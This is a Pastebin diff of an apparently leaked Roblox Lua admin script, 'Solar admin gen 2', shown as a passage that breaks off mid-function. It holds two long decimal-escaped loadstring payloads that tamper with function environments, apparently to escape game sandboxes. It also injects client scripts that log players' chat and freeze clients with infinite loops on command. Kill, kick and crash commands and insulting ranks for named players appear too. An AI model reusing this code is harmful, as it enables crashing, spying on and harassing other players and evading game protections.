View difference between Paste ID: YDh05zmv and 24Enn5Ta
SHOW: | | - or go back to the newest paste.
1
--Thanks for using Solar! Creaters: DPERKEIRG kaiops lel jk :)--
2
wait(0.001);
3
a,b = ypcall(function()
4
ScriptSource = nil
5
SourceName = nil
6
ScriptLines = 0
7
Seconds = 0
8
Minutes = 0
9
Hours = 0
10
SB = nil
11
if script:findFirstChild("source") then
12
	SourceName = 'source'
13
	SB = [[Alakazard]]
14
elseif script:findFirstChild('DSource') then
15
	SourceName = 'DSource'
16
	SB = [[Anaminus]]
17
elseif script:findFirstChild('Source') then
18
	SourceName = 'Source'
19
	SB = [[Oxcool]]
20
else
21
	SourceName = nil
22
end
23
wait()
24
SSource = script:Clone()
25
SSource.Disabled = true
26
key = "/"--Note  you can change the bet to whatever you want.
27
TestMode = false
28
LSource = nil
29
Not = false
30
ScriptingLocked = false
31
MessageLimit = 10 --enough.
32
33
ScriptSource = script:findFirstChild(SourceName).Value
34
35
PrivateServer=false--
36
KickingPhrases = true
37
-- 1 = Kill
38
-- 2 = Mute
39
-- 3 = Kick
40
-- 4 = Crash
41
-- 5 = Rejoin
42
--[[
43
Todo:
44
Kickingphrases
45
]]
46
47
Air = {
48
	["Ranks"] = {
49
		["Owner"] = 5,
50
		["Developer"] = 4,
51
		["Max admin"] = 3,
52
		["Sentitel"] = 2,
53
		["Admin"] = 1,
54
		["Member"] = 0.1,
55
		["Guest"] = 0,
56
		['Annoying']=-0.1,
57
		["Scum"] = -0.5,
58
		["Banished from time and space"] = -1,
59
		["Poo"] = -2
60
	};
61
	["Ranked"] = {
62
		{["Name"] = 'SolarLeakedAgain', ["Rank"] = 5, ["Reason"] = "Creater", ["Color"] = "White"};--Leave Stypi and me on here please--
63-
		{['Name'] = 'I dont care',['Rank']=5,['Reason']='Co creater',['Color']='New Yeller'};
63+
		{['Name'] = 'BlueHasSwag',['Rank']=5,['Reason']='Co creater',['Color']='New Yeller'};
64
		{['Name'] = 'xRageBullx',['Rank'] = -2,['Reason'] = '(N00B)',['Color']='White'};
65
		{['Name'] = 'DownloadingKeylogers',['Rank']= -2,['Reason']='Teleporting idiot',['Color']='New Yeller'};
66
		{['Name'] = 'islandmaker2012',['Rank']=5,['Reason']='Kewl guy',['Color']='Hot pink'};
67
		{['Name'] = 'Freinds name here.',['Rank']=5,['Reason']='Teleporting idiot',['Color']='Light blue'};
68
		{['Name'] = 'Your name here.',['Rank']=5,['Reason']='Dont no up to you',['Color']='Really red'};
69
	
70
	};
71
	
72
	
73
	["Services"] = {
74
		game;
75
		game:service'Workspace';
76
		game:service'Lighting';
77
		game:service'StarterGui';
78
		game:service'StarterPack';
79
	};
80
	["Tabs"] = {};	
81
	["Cmds"] = {};
82
	["Rotation"] = 0,
83
	["RotationAddValue"] = 0.1
84
}
85
86
coroutine.wrap(function()
87
	while wait() do
88
		if LSource ~= nil then break end
89
		if SourceName == "source" then break end
90
		for _,v in pairs(game.Players:players()) do
91
			if LSource ~= nil then break end
92
			pcall(function()
93
				for j,k in pairs(v.Backpack:children()) do
94
					if LSource ~= nil then break end
95
					if k.ClassName == 'LocalScript' then
96
						if k:findFirstChild(SourceName) ~= nil then
97
							k.Archivable = true
98
							LSource = k:Clone()
99
							LSource.Disabled = true
100
							OutputAdmins("Source found","Really red")
101
							break
102
						end
103
					end
104
					wait()
105
				end
106
				for j,k in pairs(v.Character:children()) do
107
					if LSource ~= nil then break end
108
					if k.ClassName == 'LocalScript' then
109
						if k:findFirstChild(SourceName) ~= nil then
110
							k.Archivable = true
111
							LSource = k:Clone()
112
							LSource.Disabled = true
113
							OutputAdmins("Source found","Really red")
114
							break
115
						end
116
					end
117
					wait()
118
				end
119
			end)
120
		end
121
	end
122
end)()
123
coroutine.wrap(function()
124
	while wait(1) do
125
	    Seconds = Seconds + 1
126
		if Seconds == 60 then
127
			Seconds = 0
128
			Minutes = Minutes + 1
129
		end
130
		if Minutes == 60 then
131
    		Minutes = 0
132
			Hours = Hours + 1
133
		end
134
	end
135
end)()
136
137
	function UpdateTablets()
138
			pcall(function()
139
				Air["Rotation"]=Air["Rotation"]+Air["RotationAddValue"]/100 				
140
				for _,v in pairs(game.Players:players()) do
141
					local PT={}
142
					local Curr=0
143
					for _,t in pairs(Solar["Tabs"])do
144
						if t.Owner==v then
145
							table.insert(PT, t)
146
						end
147
					end
148
					for i=1,#PT do
149
						local pos = v.Character.Torso.CFrame
150
						local m=(i/#PT-(.5/#PT)+(Air["Rotation"]/(#PT/10)))*math.pi*2
151
						local rad=(#PT*.6)+4
152
						local x=math.sin(m)*(rad)
153
						local y=math.sin(time()/5)
154
						local z=math.cos(m)*rad
155
						local arot=Vector3.new(x,y,z)+pos.p
156
						local brot=PT[i].P.CFrame.p
157
						local crot=arot*.1+brot *.9
158
						local d=math.rad((Air["Rotation"]*300)*math.pi)
159
						PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
160
					end
161
				end
162
			end)
163
		end
164
165
function UpdateNilPlayersTablets()
166
	pcall(function()
167
		for i,v in pairs(game:service'NetworkServer':children()) do
168
			if v:GetPlayer() then
169
				if v:GetPlayer().Parent ~= game:service'Players' then
170
					local PT = {}
171
					local plr = nil
172
					for x,t in pairs(Air['Tabs']) do
173
						if t.Owner == v:GetPlayer() then
174
							PT[#PT+1] = t
175
						end
176
					end
177
					for x,t in pairs(game:service'Workspace':children()) do
178
						if t.Name == v:GetPlayer().Name then
179
							plr = t
180
						end
181
					end
182
					for i = 1,#PT do
183
						local pos = CFrame.new(0,0,0)
184
						if plr.ClassName == 'Part' then
185
							pos = plr.CFrame
186
						elseif plr:findFirstChild'Torso' then
187
							pos = plr:findFirstChild'Torso'.CFrame
188
						end
189
						local m=(i/#PT-(.5/#PT)+(Air["Rotation"]/(#PT/10)))*math.pi*2
190
						local rad=(#PT*.6)+4
191
						local x=math.sin(m)*(rad)
192
						local y=math.sin(time()/5)
193
						local z=math.cos(m)*rad
194
						local arot=Vector3.new(x,y,z)+pos.p
195
						local brot=PT[i].P.CFrame.p
196
						local crot=arot*.1+brot *.9
197
						local d=math.rad((Air["Rotation"]*300)*math.pi)
198
						PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
199
					end
200
				end
201
			end
202
		end
203
	end)
204
end
205
function Explore(p, part)
206
	pcall(function()
207
		Dismiss(p)
208
		if part == nil then
209
			for _,v in pairs(Solar['Services']) do
210
				Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
211
			end
212
		else
213
			for _,v in pairs(part:children()) do
214
				Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
215
			end
216
			Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
217
			Output(p,"ClassName: "..part.ClassName,'New Yeller')
218
			Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end)
219
			Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end)
220
			Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end)
221
			Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
222
			Output(p,"Refresh",'Cyan', function() Explore(p,part) end)
223
			if clonedpart then
224
				Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
225
			end
226
		end
227
	end)
228
end;
229
game:service'Players'.PlayerAdded:connect(function(x)
230
if x.AccountAge < 2 then--Derp :)
231
x:Kick''
232
end end)
233
ChatConnections = {}
234
ConnectSource = [[
235
	wait(0.001)
236
	if script:findFirstChild'source' ~= nil then
237
		loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
238
		script:ClearAllChildren()
239
	else
240
		script:ClearAllChildren()
241
		script.Parent=nil
242
	end
243
	wait(1)
244
	LocalPlayer = game.Players.LocalPlayer
245
	local asd = Instance.new("StringValue",LocalPlayer)
246
	asd.Name = 'asd'
247
	asd.Value = 'asdasdsadsadasdas'
248
	wait(0.1)
249
	asd:remove()
250
	wait(1)
251
	local asdcon = LocalPlayer.Chatted:connect(function(msg)
252
		if LocalPlayer.Parent ~= game:service'Players' then
253
			local a = Instance.new("StringValue", workspace)
254
			a.Name = 'LolCon'
255
			a.Value = LocalPlayer.Name..'\31'..msg
256
			game:service'Debris':AddItem(a,2)
257
		end
258
	end)
259
	local con = game.Lighting.descendantAdded:connect(function(what)
260
		if LocalPlayer.Name == 'xRageBullx' or LocalPlayer.Name == 'lol' or LocalPlayer.Name == 'lol' or LocalPlayer.Name == 'lol' then return end
261
		if what.ClassName == 'StringValue' then
262
			if what.Name == 'Disconnect' then
263
				local v = what.Value
264
				if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then
265
					repeat until false
266
				elseif v == 'nil' then
267
					if LocalPlayer.Parent ~= game:service'Players' then
268
						repeat until false
269
					end
270
				elseif v == 'all' then
271
					repeat until false
272
				end
273
			end
274
		end
275
	end)
276
	local con2 = game:service'RunService'.RenderStepped:connect(function()
277
		if LocalPlayer:findFirstChild'asd' then
278
			asd = LocalPlayer:findFirstChild'asd'
279
			if asd.ClassName == 'StringValue' then
280
				if asd.Value == 'asdasdsadsadasdas' then
281
					asd:remove()
282
					asdcon:disconnect()
283
					con:disconnect()
284
					con2:disconnect()
285
				end
286
			end
287
		end
288
	end)
289
]]
290
NilSupport = [[
291
	wait(0.001)
292
	if script:findFirstChild'source' ~= nil then
293
		loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
294
		script:ClearAllChildren()
295
	else
296
		script:ClearAllChildren()
297
		script.Parent=nil
298
	end
299
	wait(1)
300
	LocalPlayer = game:service'Players'.LocalPlayer
301
	ProbeMode = false
302
	char = nil
303
	probe = nil
304
	local x = Instance.new("Message",workspace)
305
	x.Text = 'You are connected to solar admin gen 2'
306
	game:service'Debris':AddItem(x,3)
307
	if LocalPlayer.Character then
308
		LocalPlayer.Character.Archivable = true
309
		char = LocalPlayer.Character:Clone()
310
		char.Torso.Anchored = true
311
	else
312
		local con = LocalPlayer.CharacterAdded:connect(function()
313
			wait(0.5)
314
			LocalPlayer.Character.Archivable = true
315
			char = LocalPlayer.Character:Clone()
316
			char.Torso.Anchored = true
317
		end)
318
	end
319
	xcon = LocalPlayer.Changed:connect(function(asd)
320
		if asd == 'Parent' then
321
			local a = Instance.new("Hint",workspace)
322
			a.Text = 'You are connected, say char/ to go as a nil character, or probe/ for probe or rejme/ to rejoin'
323
			game:service'Debris':AddItem(a,3)
324
		end
325
	end)
326
	asdcon = LocalPlayer.Chatted:connect(function(msg)
327
		pcall(function()
328
